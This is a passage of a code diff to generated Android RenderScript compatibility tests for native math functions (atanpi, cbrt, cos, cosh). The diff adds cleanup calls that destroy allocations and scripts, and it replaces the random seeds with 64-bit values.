@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiHalfHalf(inV, out);
             verifyResultsNativeAtanpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAtanpiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3ef298f9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x63502a33ef298f9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAtanpiHalf2Half2(inV, out);
             verifyResultsNativeAtanpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiHalf2Half2(inV, out);
             verifyResultsNativeAtanpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAtanpiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9dfa5dedl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6350d449dfa5dedl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAtanpiHalf3Half3(inV, out);
             verifyResultsNativeAtanpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiHalf3Half3(inV, out);
             verifyResultsNativeAtanpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAtanpiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfd0222e1l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x63517e5fd0222e1l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAtanpiHalf4Half4(inV, out);
             verifyResultsNativeAtanpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiHalf4Half4(inV, out);
             verifyResultsNativeAtanpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.java
index f561747..da3e182 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeCbrtRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeCbrtFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x18086389l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa1d3335118086389l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeCbrtFloatFloat(inV, out);
             verifyResultsNativeCbrtFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtFloatFloat(inV, out);
             verifyResultsNativeCbrtFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeCbrtFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x59112965l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xce4859fd59112965l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeCbrtFloat2Float2(inV, out);
             verifyResultsNativeCbrtFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtFloat2Float2(inV, out);
             verifyResultsNativeCbrtFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeCbrtFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4f2c4a43l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xce4a23184f2c4a43l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeCbrtFloat3Float3(inV, out);
             verifyResultsNativeCbrtFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtFloat3Float3(inV, out);
             verifyResultsNativeCbrtFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeCbrtFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x45476b21l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xce4bec3345476b21l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeCbrtFloat4Float4(inV, out);
             verifyResultsNativeCbrtFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtFloat4Float4(inV, out);
             verifyResultsNativeCbrtFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeCbrtHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x54b706bbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc79143a554b706bbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeCbrtHalfHalf(inV, out);
             verifyResultsNativeCbrtHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtHalfHalf(inV, out);
             verifyResultsNativeCbrtHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeCbrtHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8526aac5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x6830a5048526aac5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeCbrtHalf2Half2(inV, out);
             verifyResultsNativeCbrtHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtHalf2Half2(inV, out);
             verifyResultsNativeCbrtHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeCbrtHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe42e6fb9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6830afa5e42e6fb9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeCbrtHalf3Half3(inV, out);
             verifyResultsNativeCbrtHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtHalf3Half3(inV, out);
             verifyResultsNativeCbrtHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeCbrtHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x433634adl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6830ba47433634adl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeCbrtHalf4Half4(inV, out);
             verifyResultsNativeCbrtHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCbrtHalf4Half4(inV, out);
             verifyResultsNativeCbrtHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCbrtHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCbrtHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.java
index 1aefbed..314f498 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeCosRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeCosFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x777f3495l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2f317381777f3495l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeCosFloatFloat(inV, out);
             verifyResultsNativeCosFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosFloatFloat(inV, out);
             verifyResultsNativeCosFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeCosFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xda3d0911l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdc05f75eda3d0911l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeCosFloat2Float2(inV, out);
             verifyResultsNativeCosFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosFloat2Float2(inV, out);
             verifyResultsNativeCosFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeCosFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd05829efl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdc07c079d05829efl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeCosFloat3Float3(inV, out);
             verifyResultsNativeCosFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosFloat3Float3(inV, out);
             verifyResultsNativeCosFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeCosFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc6734acdl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdc098994c6734acdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeCosFloat4Float4(inV, out);
             verifyResultsNativeCosFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosFloat4Float4(inV, out);
             verifyResultsNativeCosFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeCosHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8f9bf427l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe63df7648f9bf427l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeCosHalfHalf(inV, out);
             verifyResultsNativeCosHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosHalfHalf(inV, out);
             verifyResultsNativeCosHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeCosHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe49d7bd1l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf58ee534e49d7bd1l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeCosHalf2Half2(inV, out);
             verifyResultsNativeCosHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosHalf2Half2(inV, out);
             verifyResultsNativeCosHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeCosHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x43a540c5l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf58eefd643a540c5l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeCosHalf3Half3(inV, out);
             verifyResultsNativeCosHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosHalf3Half3(inV, out);
             verifyResultsNativeCosHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeCosHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa2ad05b9l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf58efa77a2ad05b9l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeCosHalf4Half4(inV, out);
             verifyResultsNativeCosHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCosHalf4Half4(inV, out);
             verifyResultsNativeCosHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCosHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCosHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.java
index 4d5ec23..0f4faa5 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeCoshRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeCoshFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa43ffcf5l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7bb5784aa43ffcf5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeCoshFloatFloat(inV, out);
             verifyResultsNativeCoshFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshFloatFloat(inV, out);
             verifyResultsNativeCoshFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeCoshFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x16a44671l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x818c886316a44671l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeCoshFloat2Float2(inV, out);
             verifyResultsNativeCoshFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshFloat2Float2(inV, out);
             verifyResultsNativeCoshFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeCoshFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xcbf674fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x818e517e0cbf674fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeCoshFloat3Float3(inV, out);
             verifyResultsNativeCoshFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeCoshFloat3Float3(inV, out);
             verifyResultsNativeCoshFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeCoshFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeCoshFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
